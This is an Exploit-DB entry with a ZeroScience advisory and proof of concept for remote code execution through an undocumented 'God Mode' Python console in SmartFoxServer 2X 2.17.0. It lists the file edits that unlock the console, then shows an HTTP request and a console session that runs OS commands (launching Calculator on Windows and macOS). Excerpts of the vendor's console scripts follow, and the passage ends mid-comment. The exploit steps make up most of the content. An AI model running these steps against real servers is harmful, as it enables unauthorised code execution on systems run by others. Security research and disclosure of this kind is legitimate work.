Exploit-DB #49526
Description: SmartFoxServer 2X 2.17.0 - God Mode Console Remote Code Execution
Type: local
Platform: multiple
Date: 2021-02-08
Author: LiquidWorm

Exploit:
# Exploit Title: SmartFoxServer 2X 2.17.0 - God Mode Console Remote Code Execution
# Date: 29.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.smartfoxserver.com

Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
                  Remote Admin: 3.2.6
                  SmartFoxServer 2X, Pro, Basic

Summary: SmartFoxServer (SFS) is a comprehensive SDK for
rapidly developing multiplayer games and applications
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal
Windows Platform, Android, Java, C++ and more. SmartFoxServer
comes with a rich set of features, an impressive
documentation set, tens of examples with their source,
powerful administration tools and a very active support
forum. Born in 2004, and evolving continuously since
then, today SmartFoxServer is the leading middleware to
create large scale multiplayer games, MMOs and virtual
communities. Thanks to its simplicity of use, versatility
and performance, it currently powers hundreds of projects
all over the world, from small chats and turn-based games
to massive virtual worlds and realtime games.

Desc: An authenticated attacker can execute remote arbitrary
Python code after enabling and unlocking the undocumented
console module.

Tested on: Windows (all) 64bit installer
           Linux/Unix 64bit installer
           MacOS (10.8+) 64bit installer
           Java 1.8.0_281
           Python 3.9.1
           Python 2.7.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5628
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5628.php


29.01.2021

--


------------------------------------------------------
Undocumented functionality in software
#INABIAF (https://en.wikipedia.org/wiki/Undocumented_feature)
          See also:
            - Backdoor (computing)
            - Easter egg (media)
God Mode Console (Console Module) unlock instructions:
------------------------------------------------------

$ pwd
/config/admin
$ vi /admintool.xml # Uncomment <module id="Console" name="Console" description="Interact with the SmartFoxServer instance via command line"/>
$ cd .. ;pwd
/config
$ touch ConsoleModuleUnlock.txt


Mac/Windows PoC:
----------------

GET http://localhost:8080/admin/modules/console.html HTTP/1.1

--------------------------------------
ADMIN_CONSOLE, version 3.0.0
--------------------------------------
Type help() for assistance.

> help()
zm      SFSZoneManager
sfs     SmartFoxServer
um      SFSUserManager
api     SFSApi
bum     SFSBannedUserManager
xm      SFSExtensionManager
eng     BitSwarmEngine
sm      DefaultSessionManager

extras()    For more custom function calls
shortcuts() For keyboard shortcuts details

> eng
com.smartfoxserver.bitswarm.core.BitSwarmEngine@3823acc4
> extras()
version():                Shows the Console extension version
reloadScripts():          Reload the dynamic server scripts
execute():                Launches the last loaded script again
files(path):              Shows the files at the specified path
controller(id):           Obtain one of the controllers from its id. 0=System, 1=Extension, 2=Smasher
zones():                  List of active zones

> version()
2.0.1
> files(".") # Win64
['config', 'data', 'extensions', 'lib', 'logs', 'sfs2x-service.exe', 'sfs2x-service.vmoptions', 'sfs2x-standalone.exe', 'sfs2x-standalone.vmoptions', 'sfs2x.bat', 'www', 'zones']
> files(".") # MacOS
['zones', 'config', 'www', 'extensions', 'logs', 'lib', 'sfs2x-service.vmoptions', 'sfs2x-standalone.vmoptions', 'sfs2x.-standalone', 'data', 'sfs2x-service']
> import os
> os.name
java
> os.system("C:\\windows\\system32\\calc.exe") # Win64
1

> import popen2
> os.popen2("""osascript -e 'tell app "Calculator" to open'""") # MacOS
1

> 


gmc.py:
-------

#
#  _____ _____ ____     _____ _____ ____  _____
# |   __|     |    \   |     |     |    \|   __|
# |  |  |  |  |  |  |  | | | |  |  |  |  |   __|
# |_____|_____|____/   |_|_|_|_____|____/|_____|
#  _____ _____ _____ _____ _____ __    _____
# |     |     |   | |   __|     |  |  |   __|
# |   --|  |  | | | |__   |  |  |  |__|   __|
# |_____|_____|_|___|_____|_____|_____|_____|
#
# SmartFoxServer2X Admin Console Scripts
#
# (c) 2012-2016 gotoAndPlay()
# @author Marco Lapi
#
# Version 2.x
#

# Python Imports
import types
import sys


#
# This global variable allows to lock the Console so that it can't be misused
#
__CONSOLE_LOCK = False

# Java Imports
import java
from com.smartfoxserver.v2.entities.data import *

__scripts = [
        {'name':'version()', 'doc':'Shows the Console extension version'},
        {'name':'reloadScripts()', 'doc':'Reload the dynamic server scripts'},
        {'name':'execute()', 'doc':'Launches the last loaded script again'},
        {'name':'files(path)', 'doc':'Shows the files at the specified path'},
        {'name':'controller(id)', 'doc':'Obtain one of the controllers from its id. 0=System, 1=Extension, 2=Smasher'},
        {'name':'zones()', 'doc':'List of active zones'}

...
...


javashell.py:
-------------

        # override defaults based on osType
        if osType == "nt":
            shellCmd = ["cmd", "/c"]
            envCmd = "set"
            envTransform = string.upper
        elif osType == "dos":
            shellCmd = ["command.com", "/c"]
            envCmd = "set"
            envTransform = string.upper
        elif osType == "posix":
            shellCmd = ["sh", "-c"]
            envCmd = "env"
        elif osType == "mac":
            curdir = ':'  # override Posix directories
            pardir = '::' 
        elif osType == "None":
            pass
        # else:
        #    # may want a warning, but only at high verbosity:
        #    __warn( "Unknow